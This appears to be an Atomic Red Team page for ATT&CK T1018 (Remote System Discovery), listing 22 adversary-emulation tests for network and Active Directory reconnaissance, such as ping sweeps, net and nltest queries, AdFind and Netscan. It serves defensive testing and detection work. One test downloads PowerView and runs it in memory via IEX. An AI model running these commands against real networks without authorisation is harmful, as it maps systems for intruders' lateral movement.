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Atomic Red Team
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T1018

T1018 - Remote System Discovery

Description from ATT&CK (opens in a new tab)

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping (opens in a new tab), net view using Net (opens in a new tab), or, on ESXi servers, esxcli network diag ping.

Adversaries may also analyze data from local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) or other passive means (such as local Arp (opens in a new tab) cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI (opens in a new tab) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

Atomic Tests


Atomic Test #1 - Remote System Discovery - net

Identify remote systems with net.exe.

Upon successful execution, cmd.exe will execute net.exe view and display results of local systems on the network that have file and print sharing enabled.

Supported Platforms: Windows

auto_generated_guid: 85321a9c-897f-4a60-9f20-29788e50bccd

Attack Commands: Run with command_prompt!

net view /domain
net view


Atomic Test #2 - Remote System Discovery - net group Domain Computers

Identify remote systems with net.exe querying the Active Directory Domain Computers group.

Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Computers" group. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: f1bf6c8f-9016-4edf-aff9-80b65f5d711f

Attack Commands: Run with command_prompt!

net group "Domain Computers" /domain


Atomic Test #3 - Remote System Discovery - nltest

Identify domain controllers for specified domain.

Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 52ab5108-3f6f-42fb-8ba3-73bc054f22c8

Inputs:

NameDescriptionTypeDefault Value
target_domainDomain to query for domain controllersstring%userdnsdomain%

Attack Commands: Run with command_prompt!

nltest.exe /dclist:#{target_domain}


Atomic Test #4 - Remote System Discovery - ping sweep

Identify remote systems via ping sweep.

Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 6db1f57f-d1d5-4223-8a66-55c9c65a9592

Inputs:

NameDescriptionTypeDefault Value
start_hostLast octet starting value for ping sweep.string1
stop_hostLast octet ending value for ping sweep.string254
subnetSubnet used for ping sweep.string192.168.1

Attack Commands: Run with command_prompt!

for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i


Atomic Test #5 - Remote System Discovery - arp

Identify remote systems via arp.

Upon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 2d5a61f5-0447-4be4-944a-1f8530ed6574

Attack Commands: Run with command_prompt!

arp -a


Atomic Test #6 - Remote System Discovery - arp nix

Identify remote systems via arp.

Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.

Supported Platforms: Linux, macOS

auto_generated_guid: acb6b1ff-e2ad-4d64-806c-6c35fe73b951

Attack Commands: Run with sh!

arp -a | grep -v '^?'

Dependencies: Run with sh!

Description: Check if arp command exists on the machine
Check Prereq Commands:
if [ -x "$(command -v arp)" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
(which yum && yum -y install net-tools)||(which apt-get && apt-get install -y net-tools)


Atomic Test #7 - Remote System Discovery - sweep

Identify remote systems via ping sweep.

Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.

Supported Platforms: Linux, macOS

auto_generated_guid: 96db2632-8417-4dbb-b8bb-a8b92ba391de

Inputs:

NameDescriptionTypeDefault Value
start_hostSubnet used for ping sweep.string1
stop_hostSubnet used for ping sweep.string254
subnetSubnet used for ping sweep.string192.168.1

Attack Commands: Run with sh!

for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done


Atomic Test #8 - Remote System Discovery - nslookup

Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.

Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: baa01aaa-5e13-45ec-8a0d-e46c93c9760f

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}


Atomic Test #9 - Remote System Discovery - adidnsdump

This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will list dns zones in the terminal.

Supported Platforms: Windows

auto_generated_guid: 95e19466-469e-4316-86d2-1dc401b5a959

Inputs:

NameDescriptionTypeDefault Value
user_nameusername including domain.stringdomain\user
acct_passAccount password.stringpassword
host_namehostname or ip address to connect to.string192.168.1.1
venv_pathPath to the folder for the tactics venvstringPathToAtomicsFolder\..\ExternalPayloads\venv_t1018

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

"#{venv_path}\Scripts\adidnsdump" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}

Dependencies: Run with powershell!

Description: Computer must have python 3 installed
Check Prereq Commands:
if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
Description: Computer must have venv configured at #{venv_path}
Check Prereq Commands:
if (Test-Path -Path "#{venv_path}" ) { exit 0 } else { exit 1 }
Get Prereq Commands:
py -m venv "#{venv_path}"
Description: adidnsdump must be installed
Check Prereq Commands:
if (Get-Command "#{venv_path}\Scripts\adidnsdump" -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Get Prereq Commands:
& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir adidnsdump 2>&1 | Out-Null


Atomic Test #10 - Adfind - Enumerate Active Directory Computer Objects

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects reference- http://www.joeware.net/freetools/tools/adfind/ (opens in a new tab), https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: a889f5be-2d54-4050-bd05-884578748bb4

Inputs:

NameDescriptionTypeDefault Value
optional_argsAllows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces.string

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer) #{optional_args}

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"


Atomic Test #11 - Adfind - Enumerate Active Directory Domain Controller Objects

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects reference- http://www.joeware.net/freetools/tools/adfind/ (opens in a new tab), https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 5838c31e-a0e2-4b9f-b60a-d79d2cb7995e

Inputs:

NameDescriptionTypeDefault Value
optional_argsAllows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces.string

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -sc dclist

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\AdFind.exe)
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"


Atomic Test #12 - Remote System Discovery - ip neighbour

Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment.

Supported Platforms: Linux

auto_generated_guid: 158bd4dd-6359-40ab-b13c-285b9ef6fa25

Attack Commands: Run with sh!

ip neighbour show

Dependencies: Run with sh!

Description: Check if ip command exists on the machine
Check Prereq Commands:
if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
apt-get install iproute2 -y


Atomic Test #13 - Remote System Discovery - ip route

Use the ip route command to display the kernels routing tables.

Supported Platforms: Linux

auto_generated_guid: 1a4ebe70-31d0-417b-ade2-ef4cb3e7d0e1

Attack Commands: Run with sh!

ip route show

Dependencies: Run with sh!

Description: Check if ip command exists on the machine
Check Prereq Commands:
if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
apt-get install iproute2 -y


Atomic Test #14 - Remote System Discovery - netstat

Use the netstat command to display the kernels routing tables.

Supported Platforms: Linux

auto_generated_guid: d2791d72-b67f-4615-814f-ec824a91f514

Attack Commands: Run with sh!

netstat -r | grep default


Atomic Test #15 - Remote System Discovery - ip tcp_metrics

Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses.

Supported Platforms: Linux

auto_generated_guid: 6c2da894-0b57-43cb-87af-46ea3b501388

Attack Commands: Run with sh!

ip tcp_metrics show |grep --invert-match "^127\."

Dependencies: Run with sh!

Description: Check if ip command exists on the machine
Check Prereq Commands:
if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
apt-get install iproute2 -y


Atomic Test #16 - Enumerate domain computers within Active Directory using DirectorySearcher

This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. This test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. Reference: Head Fake: Tackling Disruptive Ransomware Attacks (opens in a new tab). Upon successful execution, this test will output the names of the computers that reside on the domain to the console window.

Supported Platforms: Windows

auto_generated_guid: 962a6017-1c09-45a6-880b-adc9c57cb22e

Attack Commands: Run with powershell!

$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)")
$DirectorySearcher.PropertiesToLoad.Add("Name")
$Computers = $DirectorySearcher.findall()
foreach ($Computer in $Computers) {
  $Computer = $Computer.Properties.name
  if (!$Computer) { Continue }
  Write-Host $Computer}

Dependencies: Run with powershell!

Description: This PC must be joined to a domain.
Check Prereq Commands:
if ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain -eq $true) {exit 0} else {exit 1}
Get Prereq Commands:
write-host "This PC must be manually added to a domain."


Atomic Test #17 - Enumerate Active Directory Computers with Get-AdComputer

The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory. Upon successful execution a listing of Computers will output with their paths in AD. Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 97e89d9e-e3f5-41b5-a90f-1e0825df0fdf

Attack Commands: Run with powershell!

Get-AdComputer -Filter *


Atomic Test #18 - Enumerate Active Directory Computers with ADSISearcher

The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory. Upon successful execution a listing of computers will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/ (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 64ede6ac-b57a-41c2-a7d1-32c6cd35397d

Attack Commands: Run with powershell!

([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne()


Atomic Test #19 - Get-DomainController with PowerView

Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.

Supported Platforms: Windows

auto_generated_guid: b9d2e8ca-5520-4737-8076-4f08913da2c4

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose


Atomic Test #20 - Get-WmiObject to Enumerate Domain Controllers

The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers. Upon successful execution a listing of Systems from AD will output with their paths. Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1 (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: e3cf5123-f6c9-4375-bdf2-1bb3ba43a1ad

Attack Commands: Run with powershell!

try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop }
catch { $_; exit $_.Exception.HResult }


Atomic Test #21 - Remote System Discovery - net group Domain Controller

Identify remote systems with net.exe querying the Active Directory Domain Controller. Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Controller" in the domain. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 5843529a-5056-4bc1-9c13-a311e2af4ca0

Attack Commands: Run with command_prompt!

net group /domain "Domain controllers"


Atomic Test #22 - Enumerate Remote Hosts with Netscan

This test uses Netscan to identify remote hosts in a specified network range.

Supported Platforms: Windows

auto_generated_guid: b8147c9a-84db-4ec1-8eee-4e0da75f0de5

Inputs:

NameDescriptionTypeDefault Value
netscan_pathNetScan exe locationpathPathToAtomicsFolder\..\ExternalPayloads\netscan\64-bit\netscan.exe
range_to_scanThe IP range to scan with Netscanstring127.0.0.1-127.0.0.1

Attack Commands: Run with powershell!

cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'#{range_to_scan}'

Cleanup Commands:

remove-item "$env:temp\T1018NetscanOutput.txt" -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: Netscan must be installed
Check Prereq Commands:
if (Test-Path "#{netscan_path}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" "https://www.softperfect.com/download/files/netscan_portable.zip"
Expand-Archive -LiteralPath "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\netscan"

T1016.002T1020